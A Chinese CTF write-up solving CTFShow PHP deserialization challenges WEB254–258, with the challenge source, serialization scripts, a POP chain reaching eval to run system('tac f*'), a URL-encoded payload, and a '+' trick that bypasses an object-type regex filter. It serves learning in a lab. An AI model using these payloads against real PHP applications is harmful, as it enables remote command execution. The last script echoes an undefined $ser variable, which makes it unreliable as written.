CTFShow WEB入门反序列化 WEB254-258(在更新)

public 的属性被序列化后会变成 属性名

protected 的属性被序列化后会变成 %00*%00属性名

private 的属性被序列化后会变成 %00类名%00属性名

浏览器无法显示 00 空字符,解决办法是URL编码。

WEB254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}




看到最后一段,对变量user创建ctfShowUser的容器,然后调用其中login方法,检测并比对传入参数usernamepassword的值是否等于公共成员变量usernamepassword

如果符合,将isVip的值改为true

后续checkVip,满足条件则输出flag。

最终Payload:

1
url/?username=xxxxxx&password=xxxxxx

image-20251029192438843

WEB255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}




上面的都差不多,最后变了一点。

给变量user赋一个COOKIE里的user,那我们需要做的是COOKIE传入user的值。

那么传什么呢?user值又和下面的login属性有什么关系呢?

想到上一题的创建容器,我们这一题也去创建容器,使得user拥有ctfShowUser的方法。

然后用反序列化,那我们就序列化。

那写脚本:

1
2
3
<?php
echo urlencode(serialize(new ctfShowUser()));
?>

纯萌新时期的真实记录(

结果发现image-20251029201031632

这你扯不扯,原来是还要在上边把类写出来。

此时发现login里的isVip赋值被去掉了,所以我们还要把isVip赋值成true。

最终脚本如下:

1
2
3
4
5
6
<?php
class ctfShowUser{
public $isVip = true;
};
echo urlencode(serialize(new ctfShowUser()));
?>

url编码的意义是Cookie里需要用url编码。

然后get传入username=xxxxxx&password=xxxxxx,Cookie传入user=...即可。

image-20251029202457649

WEB256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}




这次看到vipOneKeyGetFlag()函数里新加了

1
2
3
if($this->username!==$this->password){
echo "your flag is ".$flag;
}

但是调用这个方法的是$user,也就是说我们需要在脚本里规定ctfShowUser里的username!==password.

脚本写成:

1
2
3
4
5
6
7
8
<?php
class ctfShowUser{
public $isVip = true;
public $username = 'a';
public $password = 'b';
};
echo urlencode(serialize(new ctfShowUser()));
?>

我们改了username和password,所以GET方法传入的username和password也要对应改变。

image-20251029210234527

WEB257

[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客

先拜读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code; //shell
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}




这次调用了一些魔术方法,比如__construct__destruct

开始分析:

  • 依然是GET两个参数,usernamepassword,按需调整。
  • 从COOKIE里反序列化一个user参数,那我们就要向COOKIE里传。
  • 下一步$user->login($username,$password);,很显然是要new ctfShowUser(),因为只有这个类里有login()。

具体要什么样的类,我们继续看login()

login里面要求账密等于参数,那很简单。

但是关键是,我们依然没有让isVip的参数变成true,而且尽管变成true也没有用,没有直接给flag。


但是话又说回来了,我们可以看到class backDoor里有eval(),这代表什么?

代表命令执行,代表我们要构造pop链,让这个eval里的参数是我们需要的值。(通常eval就是链尾)

image-20251103013631794

那我们怎么调用这个eval,往上看,我们需要调用这个getInfo(),那怎么调用getInfo()

ctfShowUser()类里能看到,我们只要触发__destruct(),就能看到getInfo()。

__destruct()当一个对象被销毁时自动调用这个方法

脚本执行结束会自动销毁对象,所以我们不用管。

1
$this->class->getInfo();

表示当前类($this)的class参数里的getInfo()方法。

谁有getInfo?

backDoor类有啊。

那我们要让$this->classbackDoor类的实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfShowUser{
private $class;
public function __construct() //创建对象
{
$this->class = new backDoor();
}

}
class backDoor{
private $code = 'system("tac f*");'; //这边不知道怎么回事,cat用了无回显,F12也没flag。
}

echo urlencode(serialize(new ctfShowUser()));
?>

payload:

1
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22tac+f%2A%22%29%3B%22%3B%7D%7D

最后image-20251103023643503

得到flag。

image-20251103023712136

WEB258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}



先要看懂这个正则过滤**[oc]:\d+:/i**

  • /i:大小写不敏感。
  • [oc]:过滤字符o或c.
  • ::冒号一个。
  • \d+:一位或更多数字。
  • ::一个冒号。

合起来,打个比方,会匹配:O:123:C:9:

我们上一题的payload:

1
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22tac+f%2A%22%29%3B%22%3B%7D%7D

解码后就是:

1
O:11:"ctfShowUser":1:{s:18:"%00ctfShowUser%00class";O:8:"backDoor":1:{s:14:"%00backDoor%00code";s:17:"system("tac f*");";}}

绕过也很简单,在数字前面加上+就可以了。

还有别忘了把private改成public了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class ctfShowUser{
public $class;
public function __construct() //创建对象
{
$this->class = new backDoor();
}

}
class backDoor{
public $code = 'system("tac f*");';
}

$a = serialize(new ctfShowUser());
$b = str_replace(':11',':+11',$a);
$c = str_replace(':8',':+8',$b);
echo urlencode($c);
?>

也看了很多师傅的wp,我还是觉得我这种写法比较简洁。

不知道:11和:8怎么办,那在中间把$a打出来看看就好了。

甚至再激进些,写成下面将更简洁。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class backDoor { public $code = 'system("tac f*");'; }
class ctfShowUser { public $class; }

$a = new ctfShowUser();
$a->class = new backDoor();

$b = serialize($a);
$b = preg_replace('/([OC]):(\d+):/i', '$1:+$2:', $b);

echo urlencode($ser);
?>

我们写的exp脚本都基本按需取用。